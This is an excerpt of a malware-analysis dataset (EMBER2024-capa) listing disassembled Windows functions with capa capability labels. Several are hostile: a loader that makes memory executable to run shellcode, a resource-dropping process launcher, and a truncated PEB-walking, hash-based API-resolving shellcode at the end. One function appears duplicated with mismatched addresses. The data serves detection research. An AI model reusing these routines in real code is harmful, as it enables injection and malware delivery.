joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4029c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x60
mov rsi, rcx
mov ecx, dword [0x00410574]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x402ba5
mov rax, qword [0x00410578]
xor ebx, ebx
nop
mov r9, qword [rax + 8]
cmp rsi, r9
jb 0x402a0c
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 8]
add r9, rdx
cmp rsi, r9
jb 0x402ae0
add ebx, 1
add rax, 0x18
cmp ebx, ecx
jne 0x4029f0
mov rcx, rsi
call fcn.00403520
test rax, rax
mov r12, rax
je 0x402bc9
movsxd rbx, ebx
lea r13, [rsp + 0x30]
lea r14, [rbx + rbx*2]
shl r14, 3
mov rbx, r14
add rbx, qword [0x00410578]
mov qword [rbx + 0x10], rax
mov dword [rbx], 0
call fcn.00403660
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
mov rdx, r13
mov qword [rbx + 8], rax
mov rax, qword [0x00410578]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rcx, qword [rax + r14 + 8]
call rbx
test rax, rax
je 0x402bac
mov eax, dword [rsp + 0x54]
cmp eax, 4
jne 0x402b60
add dword [0x00410574], 1
mov r8d, 0x30
mov rdx, r13
mov rcx, rsi
call rbx
test rax, rax
je 0x402bd8
mov eax, dword [rsp + 0x54]
cmp eax, 4
jne 0x402af0
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp sub.msvcrt.dll_memcpy
lea r13, [rsp + 0x30]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x402a9b
cmp eax, 0x40
je 0x402abb
lea r12, [rsp + 0x2c]
mov r8d, 0x40
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, r12
call rbx
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
call sub.msvcrt.dll_memcpy
mov eax, dword [rsp + 0x54]
cmp eax, 0x40
je 0x402b47
cmp eax, 4
je 0x402b47
mov r9, r12
mov r8d, dword [rsp + 0x2c]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call rbx
nop
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
cmp eax, 0x40
je 0x402a94
add r14, qword [0x00410578]
mov r8d, 0x40
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov r9, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x402a94
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00402950
xor ebx, ebx
jmp 0x402a17
mov rax, qword [0x00410578]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + r14 + 8]
call fcn.00402950
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call fcn.00402950
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, rsi
mov edx, 0x30
call fcn.00402950
nop
nop dword [rax]
Function at 0x4031b0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00410b40]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00410b20]
test rbx, rbx
je 0x403204
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4031fb
test rsi, rsi
je 0x4031fb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4031e0
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x00410b40]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax

Function at 0x403420
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x403460
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov ecx, dword [rax + 0xc]
mov r8d, ecx
cmp r8, rdx
ja 0x403457
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x403462
add rax, 0x28
cmp rax, r9
jne 0x403444
xor eax, eax
repz ret

Function at 0x403520
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
cmp word [0x00400000], 0x5a4d
lea rbx, [0x00400000]
mov rsi, rcx
je 0x403544
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rcx, rbx
call fcn.004033e0
test eax, eax
je 0x40353b
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.00403420
Function at 0x40a6d0
Capabilities:
Accept command line arguments
Connect to http server
Create http request
Delete file
Get common file path
Query or enumerate registry value
Send file using ftp

Disassembly:
sub rsp, 0x28
call fcn.00402fc0
mov r9d, dword [section..data]
mov r8, qword [0x004115a0]
xor edx, edx
mov rcx, qword [0x004115a8]
add rsp, 0x28
jmp fcn.00401b10
Function at 0x140002050
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rdi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov r9, rcx
movabs rbp, 0xc2b2ae3d27d4eb4f
movabs rsi, 0x9e3779b185ebca87
movabs r14, 0x27d4eb2f165667c5
movabs r15, 0x7a1435883d4d519d
cmp rdi, 0x20
jb 0x140002149
mov r8, qword [r9 + 0x18]
mov rdx, qword [rcx + 8]
mov rax, r8
mov r9, qword [r9 + 0x20]
mov rcx, qword [rcx + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rcx
rol rax, 7
add r10, rax
mov rax, rdx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rdx, rbp
imul rcx, rbp
imul r8, rbp
imul r9, rbp
rol rdx, 0x1f
imul rdx, rsi
rol rcx, 0x1f
xor r10, rdx
rol r8, 0x1f
imul r10, rsi
imul rcx, rsi
imul r8, rsi
sub r10, r15
rol r9, 0x1f
xor r10, rcx
imul r10, rsi
imul r9, rsi
sub r10, r15
xor r10, r8
imul r10, rsi
sub r10, r15
xor r10, r9
imul r10, rsi
add rax, r10
add rax, rdi
jmp 0x140002151
lea rax, [rdi + r14]
add rax, qword [rcx + 0x18]
lea rdx, [r11 + 8]
cmp rdx, rbx
ja 0x14000218a
nop word [rax + rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, rbp
add r11, 8
rol rcx, 0x1f
imul rcx, rsi
xor rax, rcx
rol rax, 0x1b
imul rax, rsi
sub rax, r15
cmp rdx, rbx
jbe 0x140002160
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x1400021b5
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rsi
xor rax, rcx
rol rax, 0x17
imul rax, rbp
add rax, r8
cmp r11, rbx
jae 0x1400021db
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r14
xor rax, rcx
rol rax, 0xb
imul rax, rsi
cmp r11, rbx
jb 0x1400021c0
mov rbx, qword [rsp + 0x18]
mov rcx, rax
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
shr rcx, 0x21
xor rcx, rax
imul rcx, rbp
mov rbp, qword [rsp + 0x20]
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
ret

Function at 0x14000a4a0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor r14d, r14d
mov rbp, rdx
mov word [rsp + 0x30], r14w
mov rsi, rcx
mov edi, 0x28
test al, al
je 0x14000a551
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], r14b
lea rcx, [rsp + 0x24]
call fcn.14000ffb0
cmp rax, 1
jne 0x14000a587
mov rcx, rdi
mov rax, rbx
cmp word [rbx], r14w
je 0x14000a52d
add rax, 2
dec rcx
cmp word [rax], r14w
jne 0x14000a520
cmp rcx, 1
jb 0x14000a587
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], r14w
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x14000a4f0
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14000c470
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.14000fc6c
int3
Function at 0x14000a610
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a655
xor al, al
jmp 0x14000a6a2
cmp word [rbx], 0
je 0x14000a66d
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a660
cmp word [rsp + 0x30], 0
je 0x14000a69b
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a6c3
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a680
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000c470
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000fc6c
int3
Function at 0x14000b520
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub rsp, 0x68
mov rcx, qword [0x14002fd18]
test rcx, rcx
je 0x14000b55b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000b54e
mov rcx, qword [0x14002fd18]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x14002fd18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x14002fd28], 0
je 0x14000b64e
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x1400299b8]
mov qword [rsp + 0x80], rsi
lea rsi, [0x140040550]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b62f
test al, 0x10
je 0x14000b62f
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000b5d5
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret
Function at 0x14000cd64
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000cdae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000cdae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000cdae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000cdae
cmp dword [rcx + 0x84], 0xe
jbe 0x14000cdae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000cdb0
xor al, al
add rsp, 0x28
ret

Function at 0x14000fa78
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000fae7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000fae7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000fae7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000fae7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000fae7
cmp dword [rcx + 0x84], 0xe
jbe 0x14000fae7
cmp dword [rcx + 0xf8], 0
je 0x14000fae7
mov ecx, ebx
call fcn.14000fb8c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000f980
nop
cmp dword [rbp + 0x20], 0
jne 0x14000fb48
call fcn.14001466c
cmp eax, 1
jne 0x14000fb38
xor dl, dl
jmp 0x14000fb42
call fcn.140014638
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x14000fb53
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000fb5c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000fa78

Function at 0x14000fc60
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000fae7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000fae7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000fae7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000fae7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000fae7
cmp dword [rcx + 0x84], 0xe
jbe 0x14000fae7
cmp dword [rcx + 0xf8], 0
je 0x14000fae7
mov ecx, ebx
call fcn.14000fb8c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000f980
nop
cmp dword [rbp + 0x20], 0
jne 0x14000fb48
call fcn.14001466c
cmp eax, 1
jne 0x14000fb38
xor dl, dl
jmp 0x14000fb42
call fcn.140014638
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x14000fb53
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000fb5c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000fa78
Function at 0x140019268
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400192ef
mov rsi, rbx
cmp word [rax], bp
je 0x1400192ae
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140019298
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140019294
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400167a0
mov rdi, rax
test rax, rax
je 0x1400192dc
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14001fe20
mov rbp, rdi
xor ecx, ecx
call fcn.140015880
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001b3b0
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001b3c6
mov al, 1
jmp 0x14001b432
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001b3d7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001b430
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400195b0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001b430
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001b430
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001b430
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001b432
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14001f670
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001f698
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001f698
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140006db0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov dword [rsp], 0xffffffff
cmp qword [rsp + 0x28], 8
jb 0x140006f1a
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
mov ecx, dword [rsp]
and ecx, 0xff
xor eax, ecx
mov eax, eax
lea rcx, [0x140038240]
mov edx, 1
imul rdx, rdx, 1
mov r8, qword [rsp + 0x20]
movzx edx, byte [r8 + rdx]
mov r8d, dword [rsp]
shr r8d, 8
and r8d, 0xff
xor edx, r8d
mov edx, edx
lea r8, [0x140037e40]
mov edx, dword [r8 + rdx*4]
mov eax, dword [rcx + rax*4]
xor eax, edx
mov ecx, 1
imul rcx, rcx, 2
mov rdx, qword [rsp + 0x20]
movzx ecx, byte [rdx + rcx]
mov edx, dword [rsp]
shr edx, 0x10
and edx, 0xff
xor ecx, edx
mov ecx, ecx
lea rdx, [0x140037a40]
xor eax, dword [rdx + rcx*4]
mov ecx, 1
imul rcx, rcx, 3
mov rdx, qword [rsp + 0x20]
movzx ecx, byte [rdx + rcx]
mov edx, dword [rsp]
shr edx, 0x18
and edx, 0xff
xor ecx, edx
mov ecx, ecx
lea rdx, [0x140037640]
xor eax, dword [rdx + rcx*4]
mov ecx, 1
imul rcx, rcx, 4
mov rdx, qword [rsp + 0x20]
movzx ecx, byte [rdx + rcx]
lea rdx, [0x140037240]
xor eax, dword [rdx + rcx*4]
mov ecx, 1
imul rcx, rcx, 5
mov rdx, qword [rsp + 0x20]
movzx ecx, byte [rdx + rcx]
lea rdx, [0x140036e40]
xor eax, dword [rdx + rcx*4]
mov ecx, 1
imul rcx, rcx, 6
mov rdx, qword [rsp + 0x20]
movzx ecx, byte [rdx + rcx]
lea rdx, [0x140036a40]
xor eax, dword [rdx + rcx*4]
mov ecx, 1
imul rcx, rcx, 7
mov rdx, qword [rsp + 0x20]
movzx ecx, byte [rdx + rcx]
lea rdx, [0x140036640]
xor eax, dword [rdx + rcx*4]
mov dword [rsp], eax
mov rax, qword [rsp + 0x20]
add rax, 8
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x28]
sub rax, 8
mov qword [rsp + 0x28], rax
jmp 0x140006dc5
mov rax, qword [rsp + 0x28]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 0x28]
dec rax
mov qword [rsp + 0x28], rax
cmp qword [rsp + 8], 0
je 0x140006f73
mov rax, qword [rsp + 0x20]
movzx eax, byte [rax]
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
and eax, 0xff
mov eax, eax
lea rcx, [0x140036640]
mov edx, dword [rsp]
shr edx, 8
mov eax, dword [rcx + rax*4]
xor eax, edx
mov dword [rsp], eax
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
jmp 0x140006f1a
mov eax, dword [rsp]
xor eax, 0xffffffff
add rsp, 0x18
ret
Function at 0x14000c8a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [rsp + 0x90]
add rax, 0xfffe
xor edx, edx
mov ecx, 0xffff
div rcx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x48], 0
jmp 0x14000c8f0
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x48], rax
je 0x14000cab3
mov rax, qword [rsp + 0x80]
mov rax, qword [rax + 8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x58]
dec rax
cmp qword [rsp + 0x48], rax
jne 0x14000c92a
mov dword [rsp + 0x38], 1
jmp 0x14000c932
mov dword [rsp + 0x38], 0
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x3c], 0
mov dword [rsp + 0x24], 0xffff
mov eax, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x90]
sub rcx, rax
mov rax, rcx
cmp rax, 0xffff
jae 0x14000c977
mov eax, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x24], eax
mov eax, 0xffff
sub eax, dword [rsp + 0x24]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x80]
mov rcx, qword [rcx + 8]
lea rax, [rcx + rax + 5]
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call fcn.140008600
test eax, eax
jne 0x14000c9b7
mov eax, 0x53
jmp 0x14000cab5
mov eax, dword [rsp + 0x3c]
and eax, 1
mov ecx, dword [rsp + 0x50]
lea eax, [rcx + rax*2]
mov ecx, dword [rsp + 0x3c]
and ecx, 2
lea eax, [rax + rcx*2]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x30]
movzx edx, byte [rsp + 0x20]
mov byte [rax + rcx], dl
mov eax, dword [rsp + 0x24]
and eax, 0xff
mov rcx, qword [rsp + 0x80]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x30]
mov byte [rcx + rdx + 1], al
mov eax, dword [rsp + 0x24]
shr eax, 8
mov rcx, qword [rsp + 0x80]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x30]
mov byte [rcx + rdx + 2], al
mov eax, dword [rsp + 0x40]
and eax, 0xff
mov rcx, qword [rsp + 0x80]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x30]
mov byte [rcx + rdx + 3], al
mov eax, dword [rsp + 0x40]
shr eax, 8
mov rcx, qword [rsp + 0x80]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x30]
mov byte [rcx + rdx + 4], al
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x88]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x80]
mov rdx, qword [rdx]
mov r8, qword [rsp + 0x30]
lea rdx, [rdx + r8 + 5]
mov qword [rsp + 0x60], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0x60]
mov rcx, rax
call fcn.140008180
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28], eax
jmp 0x14000c8e3
xor eax, eax
add rsp, 0x78
ret
Function at 0x14001d520
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0xe8
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.14001f0d0
mov dword [rsp + 0x70], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.14001f0d0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140046b70]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
add rsp, 0xe8
ret

Function at 0x14001d6b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub rsp, 0x58
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x28], rax
mov r8d, 0x100
mov edx, 0x65
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x20], eax
call fcn.14001d5b0
mov rdx, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x20]
call fcn.14001d3b0
call fcn.14001d520
xor eax, eax
add rsp, 0x58
ret

Function at 0x140025b74
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400259a0
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov r8d, dword [rax + 0x20]
mov ecx, dword [rax + 0x18]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
xor r9, r9
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
